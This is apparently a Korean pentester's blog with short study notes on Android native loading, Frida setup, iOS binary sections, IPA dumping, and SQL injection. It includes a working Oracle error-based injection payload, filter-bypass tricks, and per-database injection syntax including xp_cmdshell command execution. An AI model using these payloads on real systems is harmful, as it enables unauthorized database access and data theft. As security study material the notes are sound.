Java App
   → System.loadlibrary()
	   → Runtime.load() (JNI)
		   → Runtime_nativeload
			   → LoadNativeLibrary
				   → OpenNativeLibrary
					   → dlopen
						   → _loader_dlopen
							   → do_dlopen
								   → find_library
									   → load_library
										   → load_elf_binary
										   → relocate
										   → call_constructors
											   → JNI_Onload

 

'MOBILE > AOS' 카테고리의 다른 글

frida 16.2.1  (0) 2026.02.03
갤럭시 S9 kernelSU NOBELROM  (0) 2025.04.07
갤럭시 S9 KernelSU  (0) 2025.04.03

frida-server-16.2.1-android-arm64.xz
14.89MB

 

pip install frida-tools==12.3.0

pip install frida==16.2.1

'MOBILE > AOS' 카테고리의 다른 글

Java에서 Native 전체 흐름  (0) 2026.02.03
갤럭시 S9 kernelSU NOBELROM  (0) 2025.04.07
갤럭시 S9 KernelSU  (0) 2025.04.03

https://sqltest.net/

 

SQL Test

Free Online SQL Test Tool

sqltest.net

SQL 구문이 정상적으로 삽입 가능한지 확인

'WEB > SQL' 카테고리의 다른 글

Oracle xmltype() 함수를 이용한 Error Based SQL Injection  (0) 2025.05.03
SQL(2)  (0) 2025.05.03
SQL 필터링 우회  (0) 2025.05.03
DB별 특징  (0) 2025.05.03
SQL(1)  (0) 2025.04.07

 

Oracle DB에서 에러 베이스로 주로 사용 시 utl_inaddr.get_host_name() 함수 사용

이 함수 사용이 막혀 있을때 xnltype() 사용 가능

/*
* @description: Optimized Oracle error-based SQLi via xmltype() + base64 (up to 162 bytes/req)
* @author: xassiz
*/

select ''||
      xmltype('<'||
              regexp_replace(
                     utl_raw.cast_to_varchar2(
                            utl_encode.base64_encode(
                                   utl_raw.cast_to_raw(
                                         (select banner from v$version where banner like 'Oracle%') --> 쿼리 삽입 부분
                                    )
                              )
                        )
                        ||':x>',
                chr(10)||'|'||chr(13)||'|=','')
         ) 
         ||'' from dual
/*

Example:
          ORA-19202: Error occurred in XML processing LPX-00234: namespace prefix                        "T3JhY2xlIERhdGFiYXNlIDExZyBFeHByZXNzIEVkaXRpb24gUmVsZWFzZSAxMS4yLjAuMi4wIC0gNjRiaXQgUHJvZHVjdGlvbg" is not declared
--> base64_decode() = 'Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production'

*/
출처 : https://gist.github.com/xassiz/7aa20b670d7e44da665c3e28f216a927

쿼리문 삽입 후 노출되는 에러정보를 base64 디코딩 하면 정보 획득 가능

'WEB > SQL' 카테고리의 다른 글

SQL 구문 확인 방법  (0) 2025.05.03
SQL(2)  (0) 2025.05.03
SQL 필터링 우회  (0) 2025.05.03
DB별 특징  (0) 2025.05.03
SQL(1)  (0) 2025.04.07

공백 문자 필터링 우회
\n (커서를 다음 줄로 이동 / URL 인코딩 : %0a)
\t (커서를 탭 하나 만큼 이동 / URL 인코딩 : %09)
\r (커서를 줄의 맨 왼쪽으로 이동 / URL 인코딩 : %0d)
주석 /**/
괄호 ()
더하기 +
%0b (버티컬 탭)
%0c (form feed)
%a0

 

ex) value="test" 라는 파라미터에 인젝션 포인트가 존재할때 value="test'/**/and/**/1=1/**/--"

논리 연산자 우회
OR : ||
AND : &&
= : LIKE

 

논리 구조 우회
1=1 -> 'a'='a' , LENGTH('abc')=3, ASCII('A')=65
1=2 -> 'a'='b'

 

문자 인코딩 우회
URL 인코딩 : ' (싱글 쿼터) -> %27 / -- -> %2D%2d
Unicode 인코딩 : ' -> %u0027
HEX 인코딩

 

대소문자 우회
필터가 SELECT 등 대문자만 막을 때 : SeLeCt * from users --

 

스칼라 함수 우회
SELECT CHAR(65)+CHAR(66)+CHAR(67); -- "ABC"

'WEB > SQL' 카테고리의 다른 글

SQL 구문 확인 방법  (0) 2025.05.03
Oracle xmltype() 함수를 이용한 Error Based SQL Injection  (0) 2025.05.03
SQL(2)  (0) 2025.05.03
DB별 특징  (0) 2025.05.03
SQL(1)  (0) 2025.04.07
MySQL
주석 처리 : -- 또는 #
문자열 연결 : CONCAT(), CONCAT_WS()
테이블 조회 : SELECT table_name FROM information_schema.tables WHERE table_schema = 'db이름';
컬럼 조회 : SELECT column_name FROM information_schema.columns WHERE table_name = 'table이름';
버전 정보 : SELECT @@version;
LIMIT 사용 가능 : SELECT username FROM users LIMIT 0,1;

 

MSSQL
주석 처리 : --
문자열 연결 : +
테이블 조회 : SELECT name FROM sysobjects WHERE xtype='U'; -- 사용자 테이블
컬럼 조회 : SELECT name FROM syscolumns WHERE id = OBJECT_ID('테이블명');
버전 정보 : SELECT @@version;
명령어 실행 가능 (xp_cmdshell 활성화 시) : EXEC xp_cmdshell 'dir';

 

Oracle
주석 처리 : -- 또는 /* */
문자열 연결 : ||
테이블 조회 : SELECT table_name FROM all_tables;
컬럼 조회 : SELECT column_name FROM all_tab_columns WHERE table_name = 'TABLE_NAME';
버전 정보 : SELECT banner FROM v$version;
LIMIT 없음 -> ROWNUM 사용 : SELECT * FROM users WHERE ROWNUM = 1;
Time-based Blind SQL (DBMS_PIPE 이용) : BEGIN DBMS_LOCK.SLEEP(5); END;

 

PostgreSQL
주석 처리 : --
문자열 연결 : ||
테이블 조회 : SELECT table_name FROM information_schema.tables WHERE table_schema='public';
컬럼 조회 : SELECT column_name FROM information_schema.columns WHERE table_name='table이름';
버전 정보 : SELECT version();
Time-based Blind SQL : SELECT pg_sleep(5);

 

MSSQL
주석 처리 : -- 또는 /* */
문자열 연결 : +
테이블 조회 : SELECT name FROM sysobjects WHERE xtype='U';
컬럼 조회 : SELECT name FROM syscolumns WHERE id = OBJECT_ID('users');
버전 정보 : SELECT @@VERSION;
현재 DB명 : SELECT DB_NAME();
현재 사용자 이름 : SELECT SYSTEM_USER;

 

SQLite
주석 처리 : --
문자열 연결 : ||
테이블 조회 : SELECT name FROM sqlite_master WHERE type='table';
컬럼 조회 : PRAGMA table_info('table이름');

 

 

인젝션 포인트 발견 시 주석 처리, 문자열 연결 등으로 DB 유추 가능

'WEB > SQL' 카테고리의 다른 글

SQL 구문 확인 방법  (0) 2025.05.03
Oracle xmltype() 함수를 이용한 Error Based SQL Injection  (0) 2025.05.03
SQL(2)  (0) 2025.05.03
SQL 필터링 우회  (0) 2025.05.03
SQL(1)  (0) 2025.04.07

string 검색 시 address 항목 별 의미

 

1. header : 바이너리 파일 내에서 메타데이터나 파일 형식에 관한 정보를 포함하는 섹션으로 Mach-O 파일 포맷에서는 파일의 시작 부분에 헤더 정보가 포함되며 파일의 구조, 로드 커맨드 등을 정의함.

 

2. objc_methlist : Objective-C 메서드 리스트는 Objective-C 클래스에 정의된 메서드 목록을 나타냄, 이 리스트에는 클래스의 메서드 이름과 메서드 구현(메서드 포인터)이 포함되어 있음.

메서드 리스트는 메세지 전달을 처리할 때 사용 됨, 즉 Objective-C에서 메세지를 전송하는데 사용되는 메서드 포인터 들을 정의하는 섹션

 

3. objc_methname : Objective-C 메서드의 이름을 나타내는 문자열 섹션으로 objc_methlist에서 참조되는 메서드 이름을 저장하는 곳임 예를 들어 doSomething;와 같은 메서드 이름이 저장될 수 있음.

이 섹션은 메소드 이름들을 문자열로 저장하고 있음.

 

4. const : 상수 데이터를 나타내는 섹션으로 앱에서 사용되는 불변 값들이 포함될 수 있음. 예를 들어 하드코딩된 문자열 상수나 정수 값 등이 포함될 수 있음.

 

5. cstring : C 문자열(cstring)은 널 종료된 문자열로 이 섹션에는 문자열 리터럴이 포함됨. 예를 들어 "hello"와 같은 문자열이 여기에 포함됨.

cstring은 일반적으로 char* 형식의 null-terminated strings(널 종료 문자열)들을 저장하는 공간

 

6. swift5_typeref : Swift 5 언어에서 사용하는 타입 참조를 나타냄. 이는 Swift의 타입 정보를 저장하는 섹션으로 타입 정의나 타입에 대한 메타데이터를 저장하는 데 사용됨.

Swift는 동적 타이핑 언어이며 이 섹션은 앱의 Swift 클래스 및 타입에 대한 정보를 포함하고 있을 수 있음.

 

7. swift5_fieldmd : Swift 5 필드 메타데이터를 나타내는 섹션으로 Swift 객체의 필드 정보를 포함함. 이는 객체가 가진 속성이나 변수에 대한 정보를 담고 있음.

필드 메타데이터는 각 Swift 클래스의 속성에 대한 정보를 포함할 수 있으며 구조체나 클래스의 멤버에 대한 세부 정보를 제공할 수 있음.

 

8. constg_swiftt : Swift 5 에서의 상수 데이터를 저장하는 섹션으로 불변 객체나 상수 데이터를 Swift 객체의 상수로 정의한 값을 나타낼 수 있음

 

9. swift5_reflstr : Swift 5의 반사(refelction)에 관련된 문자열을 나타냄. 반사는 객체의 메타데이터를 동적으로 확인할 수 있게 해주는 기능임.

 

10. eh_frame : 예외 처리와 관련된 데이터로 예외 처리 프레임(Exception Handling Frame)을 포함하는 섹션으로 C++나 Objective-C++와 같은 언어에서 예외 처리를 다룰 떄 사용됨.

 

11. objc_const : Objective-C 상수 데이터를 저장하는 섹션으로 NSString 객체와 같은 상수 문자열이나 상수 값을 포함함.

Objective-C 관련 상수 객체나 문자열을 저장하는 데 사용됨.

 

12. data : 일반적인 데이터 섹션으로 바이너리 파일에서 사용되는 임의의 데이터가 저장되는 섹션으로 초기화된 데이터나 동적 데이터가 포함될 수 있음.

이 데이터는 코드나 객체가 실행되는 동안 동적으로 서용될 수 있는 값들을 포함함.

 

분석 시 우선 순위

 

  • objc_methlist / objc_methname: Objective-C 메서드를 추적하고, 앱의 핵심 로직을 분석하는 데 필수적
  • objc_const: 하드코딩된 상수문자열을 찾는 데 유용함
  • cstring: 문자열 리터럴을 추적하고, 보안 분석이나 앱의 텍스트 정보를 확인하는 데 중요함
  • swift5_typeref / swift5_fieldmd: Swift 앱 분석에서 중요한 타입 정보와 필드 메타데이터를 다룸
  • const / constg_swiftt: 불변 데이터상수값을 추적하는 데 유용함
  • eh_frame: 예외 처리 분석 시 필요함
  • swift5_reflstr: 반사(reflection) 기능 분석을 위한 중요한 정보
  • data: 동적 데이터일반 데이터 분석을 위한 섹션

 

 

※ Chat GPT에서 발췌함

'MOBILE > iOS' 카테고리의 다른 글

ida 분석 및 탈옥탐지 우회  (0) 2025.04.09
Frida iOS Dump를 이용한 ipa 추출  (0) 2025.04.07
iOS 서명 문제로 앱 실행이 안될 때  (0) 2025.04.07
탈옥 탐지 우회 트윅  (0) 2025.04.07

1. 설치

- frida ios dump 설치

frida-ios-dump-master_WindowsVer.zip
12.81MB

 

- Gow 설치 ( 윈도우 환경에서 리눅스 명령어 사용을 위하여 설치 )

Gow-0.8.0.exe
8.68MB

 

 

2. 코드 수정

- dump.py 코드 수정 ( 단말기 ip, root 계정 비밀번호 입력 )

 

3. 실행

- cmd > python dump.py "앱 패키지 명"

 

 

※  [Errno 2] No such file or directory: 'C:\\Users\\user\\AppData\\Local\\Temp\\Payload\\test.app\\SharedFrameworks/libloader.dylib'

 

위 오류 발생 시 igamegod 트윅을 삭제하면 정상 작동됨 

'MOBILE > iOS' 카테고리의 다른 글

ida 분석 및 탈옥탐지 우회  (0) 2025.04.09
ida string 검색 address 의미  (0) 2025.04.08
iOS 서명 문제로 앱 실행이 안될 때  (0) 2025.04.07
탈옥 탐지 우회 트윅  (0) 2025.04.07

+ Recent posts